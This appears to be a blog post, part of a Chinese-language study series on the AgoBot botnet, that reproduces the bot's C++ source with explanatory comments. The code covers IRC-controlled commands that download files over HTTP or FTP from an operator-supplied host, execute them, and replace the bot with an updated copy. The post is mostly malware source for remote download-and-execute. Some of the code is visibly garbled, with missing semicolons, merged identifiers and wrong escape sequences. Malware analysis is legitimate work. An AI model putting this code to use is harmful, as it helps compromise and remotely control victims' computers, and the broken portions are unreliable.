AgoBot 殭屍網絡研究筆記(十八)

十八、2008年04月16日

作者:青青子衿

email:[email protected]

1、utility.h 文件中實現的功能比較雜這裏一一做成分析。

(1)、一些結構體的分析,具體結構體中成員的細節,不再累述。

//IP頭結構體

typedef struct ip_hdr

{

unsigned char h_verlen;

unsigned char tos;

unsigned short total_len;

unsigned short ident;

unsigned short frag_and_flags;

unsigned char ttl;

unsigned char proto;

unsigned short checksum;

unsigned int sourceIP;

unsigned int destIP;

}IPHEADER;

//

typedef struct tsd_hdr

{

unsigned long saddr;

unsigned long daddr;

char mbz;

char ptcl;

unsigned short tcpl;

}PSDHEADER;

//TCP頭結構體

typedef struct tcp_hdr

{

unsigned short th_sport;

unsigned short th_dport;

unsigned int th_seq;

unsigned int th_ack;

unsigned char th_lenres;

unsigned char th_flag;

unsigned short th_win;

unsigned short th_sum;

unsigned short th_urp;

}TCPHEADER;

typedef struct xheaders_s

{ bool bBroadcast;

int iTTL;

bool bUltrapeer;

xheaders;

//消息結構體,這裏要和前面的消息類加以區分

typedef struct message_s

{ char szCommand[256];

char szParams[1024];

char szId[65];

char szIntFlags[191];

int iContentLength;

char *szContent;

message;

//url信息相關的結構體

typedef struct url_s

{ CString sProto;

CString sHost;

int iPort;

CString sReq;

url;

//http請求相關的結構體

typedef struct http_req_s

{ url uURL;

CString sMethod;

CString sHTTPVer;

CString sHeaders;

http_req;

2class CDownloader : public CCommandHandler

class CDownloader : public CCommandHandler

{

public:

void Init();

bool HandleCommand(CMessage *pMsg);

command m_cmdDownload, m_cmdUpdate, m_cmdExecute, m_cmdVisit;

command m_cmdDownloadFtp, m_cmdUpdateFtp, m_cmdExecuteFtp;

};

(2)Init()函數

/////////////////////////////////////////////////////////////////////

//

//函數功能:初始化CDownloader類,添加一系列與下載相關的指令

//參數:

//返回值: void

//

////////////////////////////////////////////////////////////////////

void CDownloader::Init()

{

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDownload, "http.download", "downloads a file from http", this); //通過http協議下載文件的指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdExecute, "http.execute", "updates the bot from a http url", this); //通過http協議更新bot的指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdUpdate, "http.update", "executes a file from a http url", this); //執行通過http協議下載程序的指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdVisit, "http.visit", "visits an url with a specified referrer", this); //訪問一個指定的url

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDownloadFtp, "ftp.download", "downloads a file from ftp", this); //通過ftp協議下載文件的指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdExecuteFtp, "ftp.execute", "updates the bot from a ftp url", this); //通過ftp協議更新bot的指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdUpdateFtp, "ftp.update", "executes a file from a ftp url", this);  //通過ftp協議更新bot的指令

}

(3)、HandleCommand(CMessage *pMsg)  函數

/////////////////////////////////////////////////////////////////////////

//

//函數功能:指令處理函數

//參數: CMessage *pMsg 接收到的指令消息

//返回值: bool

//

//

////////////////////////////////////////////////////////////////////////////////

bool CDownloader::HandleCommand(CMessage *pMsg)

{

CString sHostsPathsUsersPasssTarget;

//執行通過http協議下載文件

if(!pMsg->sCmd.Compare("http.download"))

{

sHost.Assign(pMsg->sChatString.Token(1, " ")); //提取主機名

sPath.Assign(pMsg->sChatString.Token(2, " ")); //提取文件路徑

sTarget.Assign(pMsg->sChatString.Token(3, " "true)); //提取下載目標文件的名稱

CDownloadHelper *pDldHlp=new CDownloadHelper;

pDldHlp->m_sHost.Assign(sHost);  //給CDownloadHelper類的對象賦值

pDldHlp->m_sPath.Assign(sPath);

pDldHlp->m_sTarget.Assign(sTarget); 

pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo); //回覆信息

pDldHlp->m_bExecute=false

pDldHlp->m_bUpdate=false

pDldHlp->m_bFTP=false;

pDldHlp->m_bSilent=pMsg->bSilent

pDldHlp->m_bNotice=pMsg->bNotice;

pDldHlp->Start(); //最終會啓動新線程,在新線程中運行run函數

}

//通過http協議,下載並執行程序

if(!pMsg->sCmd.Compare("http.execute"))

{

sHost.Assign(pMsg->sChatString.Token(1, " ")); 

sPath.Assign(pMsg->sChatString.Token(2, " ")); 

sTarget.Assign(pMsg->sChatString.Token(3, " "true));

CDownloadHelper *pDldHlp=new CDownloadHelper;

pDldHlp->m_sHost.Assign(sHost); 

pDldHlp->m_sPath.Assign(sPath);

pDldHlp->m_sTarget.Assign(sTarget); 

pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);

pDldHlp->m_bExecute=true//標識執行該程序

pDldHlp->m_bUpdate=false;

pDldHlp->m_bFTP=false;

pDldHlp->m_bSilent=pMsg->bSilent

pDldHlp->m_bNotice=pMsg->bNotice;

pDldHlp->Start();   //啓動線程運行run函數

}

//處理bot通過http更新的指令

if(!pMsg->sCmd.Compare("http.update"))

{

sHost.Assign(pMsg->sChatString.Token(1, " ")); 

sPath.Assign(pMsg->sChatString.Token(2, " ")); 

sTarget.Assign(pMsg->sChatString.Token(3, " "true));

if(!pMsg->sChatString.Token(4, " ").Compare(g_cMainCtrl.m_cBot.bot_id.sValue)) 

{

//提取第四個參數,與bot的ID值進行比較,如果相等進行下一步bot升級

//如果不相等,函數退出。

return false;

}

CDownloadHelper *pDldHlp=new CDownloadHelper;

pDldHlp->m_sHost.Assign(sHost); 

pDldHlp->m_sPath.Assign(sPath);

pDldHlp->m_sTarget.Assign(sTarget); 

pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);

pDldHlp->m_bExecute=false

pDldHlp->m_bUpdate=true;  //標識執行bot升級

pDldHlp->m_bFTP=false;

pDldHlp->m_bSilent=pMsg->bSilent

pDldHlp->m_bNotice=pMsg->bNotice;

pDldHlp->Start(); 

}

//處理ftp協議的下載指令

if(!pMsg->sCmd.Compare("ftp.download"))

{

sUser.Assign(pMsg->sChatString.Token(1, " ")); 

sPass.Assign(pMsg->sChatString.Token(2, " "));

sHost.Assign(pMsg->sChatString.Token(3, " ")); 

sPath.Assign(pMsg->sChatString.Token(4, " ")); 

sTarget.Assign(pMsg->sChatString.Token(5, " "true));

CDownloadHelper *pDldHlp=new CDownloadHelper;

pDldHlp->m_sHost.Assign(sHost); 

pDldHlp->m_sPath.Assign(sPath);

pDldHlp->m_sTarget.Assign(sTarget); 

pDldHlp->m_sUser.Assign(sUser);

pDldHlp->m_sPass.Assign(sPass); 

pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);

pDldHlp->m_bExecute=false

pDldHlp->m_bUpdate=false

pDldHlp->m_bFTP=true; //標識ftp協議下載

pDldHlp->m_bSilent=pMsg->bSilent

pDldHlp->m_bNotice=pMsg->bNotice;

pDldHlp->Start(); 

}

//處理下載遠程程序,並執行的指令

if(!pMsg->sCmd.Compare("ftp.execute"))

{

sUser.Assign(pMsg->sChatString.Token(1, " ")); 

sPass.Assign(pMsg->sChatString.Token(2, " "));

sHost.Assign(pMsg->sChatString.Token(3, " ")); 

sPath.Assign(pMsg->sChatString.Token(4, " ")); 

sTarget.Assign(pMsg->sChatString.Token(5, " "true));

CDownloadHelper *pDldHlp=new CDownloadHelper;

pDldHlp->m_sHost.Assign(sHost); 

pDldHlp->m_sPath.Assign(sPath);

pDldHlp->m_sTarget.Assign(sTarget); 

pDldHlp->m_sUser.Assign(sUser);

pDldHlp->m_sPass.Assign(sPass); 

pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);

pDldHlp->m_bExecute=true//標識執行下載後的程序

pDldHlp->m_bUpdate=false

pDldHlp->m_bFTP=true;  //標識使用ftp協議

pDldHlp->m_bSilent=pMsg->bSilent

pDldHlp->m_bNotice=pMsg->bNotice;

pDldHlp->Start(); 

}

//通過ftp協議更新bot程序的指令

if(!pMsg->sCmd.Compare("ftp.update"))

{

sUser.Assign(pMsg->sChatString.Token(1, " ")); 

sPass.Assign(pMsg->sChatString.Token(2, " "));

sHost.Assign(pMsg->sChatString.Token(3, " ")); 

sPath.Assign(pMsg->sChatString.Token(4, " ")); 

sTarget.Assign(pMsg->sChatString.Token(5, " "true));

if(!pMsg->sChatString.Token(6, " ").Compare(g_cMainCtrl.m_cBot.bot_id.sValue)) 

{

return false;

}

CDownloadHelper *pDldHlp=new CDownloadHelper;

pDldHlp->m_sHost.Assign(sHost); 

pDldHlp->m_sPath.Assign(sPath);

pDldHlp->m_sTarget.Assign(sTarget); 

pDldHlp->m_sUser.Assign(sUser);

pDldHlp->m_sPass.Assign(sPass); 

pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);

pDldHlp->m_bExecute=false

pDldHlp->m_bUpdate=true; //標識執行bot升級

pDldHlp->m_bFTP=true; //標識使用ftp協議

pDldHlp->m_bSilent=pMsg->bSilent

pDldHlp->m_bNotice=pMsg->bNotice;

pDldHlp->Start(); 

}

return true

}

3class CDownloadHelper : public CThread 

////////////////////////////////////////////////

//

//類的功能:下載功能的輔助類,是線程類的子類

//

///////////////////////////////////////////////////

class CDownloadHelper : public CThread

{

public:

virtual ~CDownloadHelper() { }

virtual void *Run();

CString m_sHost;  //主機名

CString m_sPath; //路徑

CString m_sUser; //用戶名

CString m_sPass; //密碼

CString m_sTarget; //目標文件名

CString m_sReplyTo; //回覆信息

bool m_bExecute; //是否執行

bool m_bUpdate; //是否更新

bool m_bFTP; //是否使用ftp

bool m_bSilent; //是否靜默狀態

bool m_bNotice; //是否發送Notice數據包

};

(1)void *CDownloadHelper::Run() 函數

void *CDownloadHelper::Run()

{

// If the params are invalid, return

if(!m_sHost.Compare("") || !m_sTarget.Compare("") || !m_sPath.Compare("")) //如果主機名,路徑、目標文件名爲空

//從線程堆棧中釋放該線程。

g_cMainCtrl.m_lCanJoin.push_back(this); 

return NULL;

}

if(m_bFTP

{

//如果通過ftp協議下載

if(!m_sUser.Compare("") || !m_sPass.Compare("")) 

//如果用戶名和密碼爲空則將本線程從線程堆棧中彈出,函數返回。

g_cMainCtrl.m_lCanJoin.push_back(this); 

return NULL;

}

}

// Get the port from the host, set it to default if none is specified

int iPort=0; //將端口值清0

if(m_sHost.Token(1, ":").Compare("")) 

{

iPort=atoi(m_sHost.Token(1, ":").CStr()); //從m_sHost變量中提取端口值

}

if(iPort==0) //如果端口值是0,通過使用的傳輸協議,爲端口值賦值。

{

if(m_bFTP//使用ftp傳輸時使用默認端口21

{

iPort=21; 

}

else //使用http協議進行傳輸時,使用默認端口80

{

iPort=80;

}

}

// Store only the ip/host in m_sHost

CString sTemp(m_sHost.Token(0, ":"));  //只取一個IP地址或是host地址

m_sHost.Assign(sTemp); //將其放入m_sHost變量中

// Expand environment variables if compiled on Win32 //如果在window系統中,需要擴展環境變量

#ifdef WIN32

char szTemp[MAX_PATH]; 

ExpandEnvironmentStrings(m_sTarget.CStr(), szTempMAX_PATH);  //擴展環境變量,得到全路徑

m_sTarget.Assign(szTemp);

#endif

if(m_bFTP//通過ftp模式進行傳輸

{

netbuf *nControl// 一個結構體類型的指針變量

FtpInit(); //調用WSAStartup函數,初始化網絡設置

if(!FtpConnect(m_sHost.CStr(), &nControl)) //如果連接失敗,返回0.

{

//處理連接失敗代碼。

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Unable to connect to ftp."m_sReplyTo); //向控制端返回“無法連接的”提示信息

g_cMainCtrl.m_lCanJoin.push_back(this);  //將本線程從線程堆棧中彈出。

return NULL//函數返回,新創建的線程退出。

}

if(!FtpLogin(m_sUser.CStr(), m_sPass.CStr(), nControl))  //登錄ftp服務器

{

//登錄失敗

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Unable to login to ftp."m_sReplyTo);

g_cMainCtrl.m_lCanJoin.push_back(this); return NULL

}

//向控制端返回登錄成功信息。

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Receiving file."m_sReplyTo);

if(!FtpGet(m_sTarget.CStr(), m_sPath.CStr(), FTPLIB_IMAGEnControl)) //表示接收圖片FTPLIB_IMAGE,這裏的含義應該是接收二進制數據

{

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Unable to download from ftp."m_sReplyTo);

g_cMainCtrl.m_lCanJoin.push_back(this); return NULL

}

FtpQuit(nControl);  //退出ftp連接

}

else //通過http模式進行傳輸

{

int sSocketd

CString sSendBufsReply;

sSocket=DoTcpConnect(m_sHost.CStr(), iPort);//主機名、端口,返回值爲socket套接字

if(sSocket==SOCKET_ERROR//如果連接失敗,返回提示信息,給控制端

{

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Unable to connect to http."m_sReplyTo);

g_cMainCtrl.m_lCanJoin.push_back(this); xClose(sSocket); return NULL

}

//構造發送數據。

sSendBuf.Format("GET %s HTTP/1.0/r/nConnection: Keep-Alive/r/nUser-Agent: Mozilla/4.75 [en]/r/nHost: %s:%d/r/n/r/n"m_sPath.CStr(), m_sHost.CStr(), iPort);

//向http服務器發送請求數據。

xWrite(sSocketsSendBuf.CStr(), sSendBuf.GetLength());

//向控制端返回當前狀態Receiving file

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Receiving file."m_sReplyTo);

//打開文件,準備保存下載的文件。

FILE *file=fopen(m_sTarget.CStr(),"wb");

if(!file

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"Failed to open file."m_sReplyTo); g_cMainCtrl.m_lCanJoin.push_back(this); 

return NULL

}

char szBuf[4096];

//處理包含http數據報頭的數據

while(true)

{

int i

if((i=xRead(sSocket,szBuf,4096))<=0) //從http服務器上讀數據

{

break;

}

if(i<4096) szBuf[i]=0;

for(d=0;d<i;d++) 

{

if(!strncmp(szBuf+d,"/r/n/r/n",4))//找到"/r/n/r/n"字符串後,該字符串前面的部分是http的頭,後面部分是準備下載的數據

{

for (d+=4;d<i;d++) 

{

fputc(szBuf[d],file); //將數據寫入文件

}

goto done_http

}

}

done_http:   //處理之後沒有帶http數據包頭的數據

while(true)

{

int i

if((i=xRead(sSocket,szBuf,4096))<=0) //從http服務器下載數據

{

break;

}

if(i<4096) 

{

szBuf[i]=0;

}

for(d=0;d<i;d++) 

{

fputc(szBuf[d],file);  //將數據寫入文件。

}

}

fclose(file);  //關閉打開的文件指針

xClose(sSocket);  //關閉套接字

}

//判斷是否需要在更新bot

if(!m_bUpdate)

{

//不需要更新

//download isn't an update

g_cMainCtrl.m_cIRC.SendFormat(m_bSilentm_bNoticem_sReplyTo"download to %s finished."m_sTarget.CStr());

//判斷是否需要運行新下載的文件

if(m_bExecute

{

//需要運行

Execute(m_sTarget.CStr(), "");

g_cMainCtrl.m_cIRC.SendFormat(m_bSilentm_bNoticem_sReplyTo"opened %s."m_sTarget.CStr()); 

}

else

{

//需要更新AgoBot

//download is an update

g_cMainCtrl.m_cIRC.SendFormat(m_bSilentm_bNoticem_sReplyTo"download to %s finished, updating..."m_sTarget.CStr());

if(CreateProc(m_sTarget.Str(), "-update")) //將新下載的bot運行起來

{ // successful update, remove and exit

#ifdef WIN32

if(g_cMainCtrl.m_cBot.as_enabled.bValue

{

g_cMainCtrl.m_cInstaller.RegStartDel(g_cMainCtrl.m_cBot.as_valname.sValue); //刪除原有的啓動項,新bot的啓動項會在新bot運行時設置

}

#endif

g_cMainCtrl.m_cInstaller.Uninstall(); //卸載舊bot程序

g_cMainCtrl.m_bRunning=false;  //將運行狀態設置爲false

exit(1); //進程退出

}

else

{

//更新失敗

g_cMainCtrl.m_cIRC.SendMsg(m_bSilentm_bNotice"update failed: error executing file."m_sReplyTo.Str()); 

}

}

g_cMainCtrl.m_lCanJoin.push_back(this);

return NULL

}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章